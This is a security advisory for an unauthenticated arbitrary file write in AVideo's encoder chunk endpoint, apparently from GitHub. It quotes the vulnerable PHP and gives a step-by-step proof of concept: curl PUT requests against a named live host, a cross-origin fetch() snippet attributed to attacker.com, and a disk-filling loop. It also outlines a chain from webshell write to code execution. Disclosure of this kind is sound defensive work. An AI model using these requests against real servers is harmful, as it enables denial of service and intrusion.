Skip to content

Unauthenticated Arbitrary File Write in AVideo

Critical
DanielnetoDotCom published GHSA-v7p7-jccx-h37c Jul 21, 2026

Package

AVideo

Affected versions

29.0

Patched versions

None

Description

Summary

An unauthenticated arbitrary file write vulnerability in AVideo's objects/aVideoEncoderChunk.json.php allows any remote attacker to write arbitrary content (up to 4 GB per request) to the server's filesystem via HTTP PUT requests without any form of authentication, session, API key, or token. The endpoint also hardcodes Access-Control-Allow-Origin: *, enabling silent cross-origin exploitation from any website via JavaScript. An attacker can exhaust all disk space on the server causing a complete denial of service, or inject malicious content into the video encoding pipeline. When chained with a local file inclusion vulnerability, this leads to remote code execution.

Details

The file objects/aVideoEncoderChunk.json.php is a standalone PHP endpoint designed for the internal video encoder to upload file chunks during encoding. It contains zero require/include statements and is completely isolated from AVideo's authentication framework.

Every other endpoint in the objects/ directory loads the auth framework:

// like.json.php — AUTHENTICATED (for comparison)
global $global, $config;
if (!isset($global['systemRootPath'])) {
    require_once '../videos/configuration.php';     // ← loads auth
}
require_once $global['systemRootPath'] . 'objects/user.php';  // ← enforces login

The vulnerable file has none of this:

// aVideoEncoderChunk.json.php — UNAUTHENTICATED
<?php
header('Access-Control-Allow-Origin: *');    // line 2 — any website can call this
header('Content-Type: application/json');    // line 3
// NO require_once, NO include, NO session, NO token, NO API key

The endpoint provides two write modes:

Mode 1 — Multi-chunk upload (lines 56–98): When file_id is provided via GET, the endpoint reads raw request body from php://input and writes it to /tmp/YTPChunk_<file_id>:

$fileId = isset($_GET['file_id']) ? $_GET['file_id'] : '';          // line 56
if (!empty($fileId)) {
    if (!preg_match('/^[0-9a-f]{1,64}$/i', $fileId)) {             // line 59 — hex validation only, NOT auth
        http_response_code(400);
        die(json_encode(['error' => true, 'msg' => 'Invalid file_id']));
    }

    $chunkIndex  = isset($_GET['chunk']) ? (int) $_GET['chunk'] : 0;
    $totalChunks = isset($_GET['total']) ? max(1, (int) $_GET['total']) : 1;
    $destFile    = $tmpDir . DIRECTORY_SEPARATOR . 'YTPChunk_' . $fileId;  // line 67 — predictable path

    $mode    = ($chunkIndex === 0) ? 'w' : 'a';                    // line 70 — chunk 0 truncates, >0 appends
    $putdata = fopen('php://input', 'r');                           // line 71 — reads attacker's request body
    $fp      = fopen($destFile, $mode);                             // line 72 — opens file for writing

    $written = 0;
    while (($data = fread($putdata, 1024 * 1024)) !== false && $data !== '') {
        $written += strlen($data);
        if ($written > $maxBytes) { /* ... 413 ... */ }
        fwrite($fp, $data);                                         // line 84 — writes attacker content to disk
    }
    fclose($fp);
    fclose($putdata);

    $obj           = new stdClass();
    $obj->file     = $destFile;                                     // line 90 — leaks full server path
    $obj->filesize = filesize($destFile);
    $obj->chunk    = $chunkIndex;
    $obj->total    = $totalChunks;
    $obj->complete = ($chunkIndex + 1 >= $totalChunks);
    die(json_encode($obj));
}

Mode 2 — Legacy single upload (lines 100–134): When no file_id is provided, the endpoint creates a temporary file via tempnam() and writes the raw body:

$obj->file = tempnam(sys_get_temp_dir(), 'YTPChunk_');  // line 104 — auto-generated temp file
$putdata = fopen("php://input", "r");                    // line 106
$fp      = fopen($obj->file, "w");                       // line 107
// ... reads and writes attacker body ...
fwrite($fp, $data);                                      // line 122

The per-request size cap has a 4 GB floor:

$floorBytes = 4 * 1024 * 1024 * 1024; // 4 GB floor     // line 32
$maxBytes   = $rawLimit ? max(_parseIniSize($rawLimit), $floorBytes) : $floorBytes;  // line 33

Path traversal is mitigated by the hex regex on line 59 (/^[0-9a-f]{1,64}$/i), confining writes to /tmp/YTPChunk_<hex>. However, this does not address the core vulnerability — the unauthenticated write itself.

PoC

Deployed instance: http://4jxgqdgko9et4yz35kxn3j20atd3agzj.tryneoai.com
Server: Apache/2.4.52 (Ubuntu) — IP: 35.184.50.101

Step 1 — Write arbitrary data to disk (no authentication required):

curl -X PUT \
  "http://4jxgqdgko9et4yz35kxn3j20atd3agzj.tryneoai.com/objects/aVideoEncoderChunk.json.php?file_id=a0b1c2d3e4f56789&chunk=0&total=1" \
  -d "GHSA_PROOF_OF_CONCEPT_DATA_12345" \
  -H "Content-Type: application/octet-stream"

Response (HTTP 200):

{"file":"\/tmp\/YTPChunk_a0b1c2d3e4f56789","filesize":32,"chunk":0,"total":1,"complete":true}

32 bytes of attacker-controlled content written to /tmp/YTPChunk_a0b1c2d3e4f56789 — zero credentials required.

Step 2 — Multi-chunk file assembly (append arbitrary data):

# Chunk 0 — creates/truncates the file
curl -X PUT \
  "http://4jxgqdgko9et4yz35kxn3j20atd3agzj.tryneoai.com/objects/aVideoEncoderChunk.json.php?file_id=deadbeef01234567&chunk=0&total=2" \
  -d "CHUNK_0_ATTACKER_PAYLOAD_A"
{"file":"\/tmp\/YTPChunk_deadbeef01234567","filesize":26,"chunk":0,"total":2,"complete":false}
# Chunk 1 — appends to the same file
curl -X PUT \
  "http://4jxgqdgko9et4yz35kxn3j20atd3agzj.tryneoai.com/objects/aVideoEncoderChunk.json.php?file_id=deadbeef01234567&chunk=1&total=2" \
  -d "CHUNK_1_ATTACKER_PAYLOAD_B"
{"file":"\/tmp\/YTPChunk_deadbeef01234567","filesize":52,"chunk":1,"total":2,"complete":true}

File grows from 26 → 52 bytes confirming append mode. An attacker can assemble arbitrarily large files up to 4 GB per chunk.

Step 3 — Legacy mode (no parameters needed at all):

curl -X POST \
  "http://4jxgqdgko9et4yz35kxn3j20atd3agzj.tryneoai.com/objects/aVideoEncoderChunk.json.php" \
  -d "LEGACY_WRITE_PAYLOAD"
{"file":"\/tmp\/YTPChunk_eMUtZe","filesize":21}

A file is created at a tempnam()-generated path — no file_id or any parameter required.

Step 4 — Cross-origin exploitation (exploitable from any website):

curl -X PUT \
  "http://4jxgqdgko9et4yz35kxn3j20atd3agzj.tryneoai.com/objects/aVideoEncoderChunk.json.php?file_id=c0ffee1234abcdef&chunk=0&total=1" \
  -H "Origin: https://attacker.com" \
  -d "CROSS_ORIGIN_WRITE"

Response headers:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
{"file":"\/tmp\/YTPChunk_c0ffee1234abcdef","filesize":19,"chunk":0,"total":1,"complete":true}

The wildcard Access-Control-Allow-Origin: * header means any website can exploit this endpoint via JavaScript:

// This runs on attacker.com — silently writes to victim's AVideo server
fetch('http://TARGET/objects/aVideoEncoderChunk.json.php?file_id=cafebabe12345678&chunk=0&total=1', {
  method: 'PUT',
  body: 'ATTACKER_CONTROLLED_CONTENT',
  mode: 'cors'
})
.then(r => r.json())
.then(d => console.log('Written:', d.file, d.filesize, 'bytes'));

Step 5 — Disk exhaustion (unlimited file creation, no rate limit):

for i in $(seq 1 5); do
  FID=$(printf "%016x" $i)
  curl -s -X PUT \
    "http://4jxgqdgko9et4yz35kxn3j20atd3agzj.tryneoai.com/objects/aVideoEncoderChunk.json.php?file_id=${FID}&chunk=0&total=1" \
    -d "DISK_FILL_TEST_${i}"
done
{"file":"\/tmp\/YTPChunk_0000000000000001","filesize":21,"chunk":0,"total":1,"complete":true}
{"file":"\/tmp\/YTPChunk_0000000000000002","filesize":21,"chunk":0,"total":1,"complete":true}
{"file":"\/tmp\/YTPChunk_0000000000000003","filesize":21,"chunk":0,"total":1,"complete":true}
{"file":"\/tmp\/YTPChunk_0000000000000004","filesize":21,"chunk":0,"total":1,"complete":true}
{"file":"\/tmp\/YTPChunk_0000000000000005","filesize":21,"chunk":0,"total":1,"complete":true}

All 5 files created instantly. With up to 4 GB per request and 2^256 possible file_id values (64 hex chars), an attacker can fill the entire /tmp partition in seconds.

Impact

This is a Missing Authentication for Critical Function (CWE-306) combined with Uncontrolled Resource Consumption (CWE-400) vulnerability. CVSS 3.1: 8.6 High (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H).

Who is affected: Every AVideo installation with default configuration. No credentials, user interaction, or special configuration are required to exploit.

Disk Exhaustion / Denial of Service: Each unauthenticated request writes up to 4 GB to /tmp. There is no rate limiting and no IP restriction. Stale file cleanup only runs every 4 hours (line 10: time() - 14400). An automated script fills /tmp in seconds, causing PHP session storage failures (session.save_path defaults to /tmp), video encoding pipeline crashes, and complete server unavailability.

Arbitrary Content Write: The attacker controls the exact byte content written to predictable server paths (/tmp/YTPChunk_<hex>). The AVideo encoder pipeline consumes files from this exact path pattern. An attacker can poison pending uploads by overwriting any file_id (e.g., curl -X PUT ...?file_id=<known_hex>&chunk=0). When chained with a local file inclusion vulnerability elsewhere in the application, this becomes remote code execution — the attacker writes a PHP webshell to /tmp/YTPChunk_<hex> then includes it.

Cross-Origin Exploitation: The hardcoded Access-Control-Allow-Origin: * header (line 2) means any website on the internet can make cross-origin PUT requests to this endpoint via JavaScript fetch(). An attacker embeds the exploit in a page, and every AVideo user who visits the attacker's site unknowingly writes files to the AVideo server. No CSRF token exists because the endpoint has no session context whatsoever.

Information Disclosure: Every response leaks the full server filesystem path (e.g., /tmp/YTPChunk_a0b1c2d3e4f56789), confirming the server OS, temp directory location, and internal naming scheme.

Severity

Critical

CVE ID

No known CVE

Weaknesses

Missing Authentication for Critical Function

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources. Learn more on MITRE.

Credits